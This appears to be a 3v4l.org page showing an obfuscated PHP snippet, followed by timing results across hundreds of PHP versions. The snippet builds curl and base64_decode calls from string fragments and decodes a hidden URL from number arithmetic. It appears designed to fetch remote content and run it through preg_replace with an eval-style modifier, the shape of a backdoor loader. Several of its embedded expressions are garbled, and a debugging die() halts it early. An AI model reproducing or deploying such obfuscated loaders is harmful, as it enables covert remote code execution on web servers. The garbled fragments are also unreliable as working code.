3v4l.org

run code in 300+ PHP versions simultaneously
<?php $vars = array( '28', 'chr', //1 -- x + 3 'curl', 'init', 'setopt', 'exec', // 5 'close', 'strtoupper', 'strrev', 'opt', 'timeout', 'refsnartnruter', '_', 'preg_replace', 'preg_split', 'base64_decode', "/mix../mixe", //16 ? '/mixed', "array_map", // 'implode', //19 3, 5, 7, 11, 13, 17, 19, 23, 'array_push' ); //chr[0] = $vars[2][0] = $vars[6][0] = 'c'; //$vars[15][0] = $vars[15][1]; //$vars[15][1] = $vars[11][5]; //$vars[5][0] = $vars[5][2] = $vars[15][3] = $vars[15][8] = $vars[15][12] = preg_replace[2] = $vars[14][2] = "e"; //$vars[16] = ($vars[17] = "/" . $vars[17]) ? ($vars[17]) : 0; //$vars[16][4] = $vars[16][5] = '.'; //$vars[16].= $vars[17]; //$vars[16][11] = ''; //implode = $vars[0]; function xvars($n) { global $vars; $n+= 19; return ($n > 19) ? chr($n) : ''; } $x = array( '(( $vars[15] = $vars[ $vars[0] ]( $vars[15]( strrev( implode( array_map("xvars", $vars[14]( "/[\D]+/", preg_replace( "/vars/", "+", ${$vars[5][1]}[ $vars[22] -1 ] .${$vars[5][1]}[ $vars[22] +0 ] .${$vars[5][1]}[ $vars[22] +1 ] )) ) ) ) ) ))?0:0 )', '(( $vars[ $vars[0]-- ]( $vars[15],CURLOPT_TIMEOUT , 1<<5 ))?0:0)', '(( $vars[ $vars[0] ]( $vars[15],CURLOPT_RETURNTRANSFER , 2>>1 ))?0:0)', '(( $zvars = $vars[ $vars[0] ]( $vars[15] ))?0:0)', '(( $vars[ $vars[0] ]( $vars[15] ))?0:0)', '.strtoupper($vars[0]);', '->$vars[100]($vars[85].$vars[52]($vars[80]($vars[38].$vars[66]($vars[52],$vars[80]($vars[34]($vars[63]($vars[91]($vars[55].$vars[97],$vars[38])$vars[31],$vars[70]($vars[98]($vars[54])$vars[32].$vars[79].$vars[86],$vars[51]($vars[90])$vars[78].$vars[102]($vars[51].$vars[68].$vars[61].$vars[98]($vars[89]())', '(($vars[68].$vars[70]($vars[97]($vars[38].$vars[52])$vars[71]($vars[28])$vars[46])$vars[53])$vars[78].$vars[100],$vars[34]($vars[64],$vars[71].$vars[29])$vars[51].$vars[90].$vars[80]($vars[89],$vars[34]($vars[68].$vars[71].$vars[91]($vars[38].$vars[86])$vars[80].$vars[89])$vars[30],$vars[68],))', '(($vars[70])$vars[102])$vars[71])$vars[68],$vars[78])$vars[99].$vars[96])$vars[52].$vars[81].$vars[98],$vars[100]($vars[52],$vars[79],$vars[96]($vars[89])$vars[52].$vars[79])$vars[96])$vars[101].$vars[31].$vars[57]($vars[99].$vars[92]($vars[49]($vars[80]($vars[29],$vars[63])$vars[53]($vars[78]()' ); //$vars[18] = $vars[0] = "array" . "_"; //$vars[0].= 'array_push'; //$vars[18].= 'array_map'; //$vars[0] = array_push($vars, 'array_push') - 1; $i = $q = 0; while ($i < 5) { var_dump($vars[$vars[0]-$q]); die(); ($i != 2) ? ($vars[$vars[0] - $q]($vars, $vars[2] . "_" . $vars[3 + $q]) && $q++) : 0; //step 0,1,3,4 $vars[0]++; preg_replace($vars[16], $ { $vars[16][3] } [0 + $i] . $x[5], $vars[17]); $i++; } echo ($zvars);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.01318.56
8.3.50.0140.00521.92
8.3.40.0140.00718.82
8.3.30.0080.00619.17
8.3.20.0040.00420.08
8.3.10.0040.00423.65
8.3.00.0000.00718.94
8.2.180.0120.00318.31
8.2.170.0170.00322.96
8.2.160.0100.00322.09
8.2.150.0050.00324.18
8.2.140.0050.00324.66
8.2.130.0040.00426.16
8.2.120.0000.00720.94
8.2.110.0070.00317.75
8.2.100.0090.00317.91
8.2.90.0050.00317.71
8.2.80.0040.00418.82
8.2.70.0000.00817.93
8.2.60.0000.00918.06
8.2.50.0030.00618.10
8.2.40.0000.01119.34
8.2.30.0050.00319.21
8.2.20.0000.00817.76
8.2.10.0030.00518.02
8.2.00.0070.00017.71
8.1.280.0120.00925.92
8.1.270.0040.00418.88
8.1.260.0050.00326.35
8.1.250.0040.00428.09
8.1.240.0090.00023.66
8.1.230.0040.00721.02
8.1.220.0080.00017.74
8.1.210.0050.00318.77
8.1.200.0090.00317.10
8.1.190.0030.00617.22
8.1.180.0040.00418.90
8.1.170.0030.00518.56
8.1.160.0070.00019.03
8.1.150.0030.00618.85
8.1.140.0030.00517.46
8.1.130.0030.00317.89
8.1.120.0000.00717.33
8.1.110.0040.00417.42
8.1.100.0000.00717.45
8.1.90.0050.00217.38
8.1.80.0040.00417.26
8.1.70.0030.00317.28
8.1.60.0000.00817.59
8.1.50.0000.00817.61
8.1.40.0040.00417.41
8.1.30.0090.00017.50
8.1.20.0060.00317.66
8.1.10.0000.00717.63
8.1.00.0040.00417.57
8.0.300.0030.00618.77
8.0.290.0040.00716.75
8.0.280.0050.00318.28
8.0.270.0000.00717.23
8.0.260.0000.00817.23
8.0.250.0030.00317.00
8.0.240.0020.00517.00
8.0.230.0050.00216.87
8.0.220.0000.00716.91
8.0.210.0000.00816.83
8.0.200.0000.00616.94
8.0.190.0050.00316.89
8.0.180.0040.00416.92
8.0.170.0040.00416.79
8.0.160.0000.00716.88
8.0.150.0000.00916.75
8.0.140.0040.00416.86
8.0.130.0030.00313.39
8.0.120.0000.00716.88
8.0.110.0070.00016.91
8.0.100.0040.00416.82
8.0.90.0040.00416.98
8.0.80.0060.01016.88
8.0.70.0070.00016.73
8.0.60.0000.00816.80
8.0.50.0000.00716.71
8.0.30.0110.01217.12
8.0.20.0110.00917.40
8.0.10.0050.00317.01
8.0.00.0130.00816.76
7.4.330.0020.00215.03
7.4.320.0030.00616.57
7.4.300.0060.00016.44
7.4.290.0030.00316.52
7.4.280.0000.00716.50
7.4.270.0040.00416.46
7.4.260.0070.00016.43
7.4.250.0070.00016.41
7.4.240.0020.00616.52
7.4.230.0040.00416.31
7.4.220.0150.00316.53
7.4.210.0030.01116.68
7.4.200.0000.00716.67
7.4.160.0110.00416.55
7.4.150.0090.00917.40
7.4.140.0070.01017.86
7.4.130.0080.00816.46
7.4.120.0110.00716.54
7.4.110.0140.00616.57
7.4.100.0110.01216.49
7.4.90.0120.00616.23
7.4.80.0060.01219.39
7.4.70.0060.01516.57
7.4.60.0070.01016.52
7.4.50.0000.00816.74
7.4.40.0130.01016.36
7.4.30.0100.01316.60
7.4.00.0070.00715.11
7.3.330.0000.00513.42
7.3.320.0060.00013.28
7.3.310.0030.00516.39
7.3.300.0030.00316.39
7.3.290.0040.01116.32
7.3.280.0070.00916.38
7.3.270.0170.00017.40
7.3.260.0030.01316.41
7.3.250.0110.00916.36
7.3.240.0000.01616.36
7.3.230.0160.00016.39
7.3.210.0100.00716.58
7.3.200.0040.01219.39
7.3.190.0090.01216.60
7.3.180.0080.00816.38
7.3.170.0040.01316.36
7.3.160.0120.00416.66
7.2.330.0090.00916.70
7.2.320.0150.00716.49
7.2.310.0070.01016.55
7.2.300.0030.01516.41
7.2.290.0110.00816.80
7.2.00.0100.00719.39
7.1.100.0070.00717.76
7.1.70.0030.01017.29
7.1.60.0110.01519.22
7.1.50.0000.01116.98
7.1.00.0070.07322.33
7.0.200.0000.00716.81
7.0.140.0070.05722.12
7.0.60.0100.08020.03
7.0.50.0100.08017.88
7.0.40.0100.03720.11
7.0.30.0270.05020.19
7.0.20.0300.05020.23
7.0.10.0000.07020.23
7.0.00.0070.08320.25
5.6.280.0070.07021.09
5.6.210.0200.07320.70
5.6.200.0030.05018.15
5.6.190.0070.08720.77
5.6.180.0300.04720.50
5.6.170.0230.03720.55
5.6.160.0100.06720.51
5.6.150.0070.06718.18
5.6.140.0070.07718.13
5.6.130.0000.09018.16
5.6.120.0070.05721.11
5.6.110.0100.08720.98
5.6.100.0070.06721.02
5.6.90.0130.07721.14
5.6.80.0100.03320.60
5.5.350.0170.03320.42
5.5.340.0030.08017.98
5.5.330.0070.04720.38
5.5.320.0270.04720.30
5.5.310.0130.04720.28
5.5.300.0000.04017.98
5.5.290.0070.07017.99
5.5.280.0030.06720.75
5.5.270.0070.06320.74
5.5.260.0070.03720.85
5.5.250.0100.04720.63
5.5.240.0100.07320.05
5.4.450.0770.05319.19
5.4.440.0700.06319.32
5.4.430.0700.05319.54
5.4.420.0700.05719.46
5.4.410.0300.03719.46
5.4.400.0130.06019.16
5.4.390.0170.05319.11
5.4.380.0430.05318.59
5.4.370.0300.05318.55
5.4.360.0270.05318.73
5.4.350.0370.05318.53
5.4.340.0200.06318.50
5.4.320.0230.06018.61
5.4.310.0300.05718.68
5.4.300.0230.06318.73
5.4.290.0300.04718.50
5.4.280.0330.04718.50
5.4.270.0330.05018.73
5.4.260.0300.04718.73
5.4.250.0300.05018.78
5.4.240.0300.04718.56
5.4.230.0300.05718.78
5.4.220.0270.07318.69
5.4.210.0300.06018.71
5.4.200.0370.05016.55
5.4.190.0270.05318.48
5.4.180.0370.04018.57
5.4.170.0300.05018.71
5.4.160.0200.05718.45
5.4.150.0330.04318.58
5.4.140.0270.05016.32
5.4.130.0170.05316.26
5.4.120.0270.06716.25
5.4.110.0400.05716.30
5.4.100.0400.04016.30
5.4.90.0270.05716.26
5.4.80.0170.05716.21
5.4.70.0100.06316.32
5.4.60.0270.04716.16
5.4.50.0300.04316.42
5.4.40.0170.06016.29
5.4.30.0270.05016.25
5.4.20.0270.05016.21
5.4.10.0170.05316.27
5.4.00.0130.05315.80
5.3.290.0270.06014.73
5.3.280.0130.08014.61
5.3.270.0300.07014.75
5.3.260.0200.06014.66
5.3.250.0200.05314.62
5.3.240.0270.05314.64
5.3.230.0170.05714.79
5.3.220.0330.04014.58
5.3.210.0270.05714.75
5.3.200.0200.06014.79
5.3.190.0270.05314.64
5.3.180.0130.06014.61
5.3.170.0200.05714.60
5.3.160.0330.04714.56
5.3.150.0330.04714.68
5.3.140.0230.07714.61
5.3.130.0270.07314.79
5.3.120.0430.04314.69
5.3.110.0330.05714.70
5.3.100.0170.06014.09
5.3.90.0200.05714.16
5.3.80.0270.05014.25
5.3.70.0230.05314.06
5.3.60.0230.05714.05
5.3.50.0270.05314.09
5.3.40.0530.05314.09
5.3.30.0330.05014.00
5.3.20.0330.05013.93
5.3.10.0270.05313.78
5.3.00.0370.05013.64
5.2.170.0200.06711.27
5.2.160.0300.05011.26
5.2.150.0230.06011.16
5.2.140.0330.04711.26
5.2.130.0170.04711.16
5.2.120.0200.04311.34
5.2.110.0300.05011.11
5.2.100.0230.03711.24
5.2.90.0230.03711.22
5.2.80.0130.04711.33
5.2.70.0130.04711.21
5.2.60.0170.04311.14
5.2.50.0230.03711.08
5.2.40.0130.04311.04
5.2.30.0200.04311.20
5.2.20.0100.04711.05
5.2.10.0230.03310.98
5.2.00.0330.04310.73
5.1.60.0270.02710.05
5.1.50.0170.03310.13
5.1.40.0230.03310.12
5.1.30.0130.04010.45
5.1.20.0230.03010.46
5.1.10.0130.03310.16
5.1.00.0170.03310.13
5.0.50.0070.0338.70
5.0.40.0030.0338.61
5.0.30.0100.0438.45
5.0.20.0100.0278.34
5.0.10.0100.0308.28
5.0.00.0030.0508.27
4.4.90.0030.0276.71
4.4.80.0030.0276.71
4.4.70.0100.0206.71
4.4.60.0100.0236.71
4.4.50.0100.0236.71
4.4.40.0070.0376.71
4.4.30.0130.0276.71
4.4.20.0170.0236.71
4.4.10.0130.0176.71
4.4.00.0100.0336.71
4.3.110.0170.0206.71
4.3.100.0130.0436.71
4.3.90.0130.0176.71
4.3.80.0300.0336.71
4.3.70.0070.0336.71
4.3.60.0130.0206.71
4.3.50.0100.0306.71
4.3.40.0100.0336.71
4.3.30.0030.0236.71
4.3.20.0000.0276.71
4.3.10.0070.0236.71
4.3.00.0000.0277.22

preferences:
46.86 ms | 401 KiB | 5 Q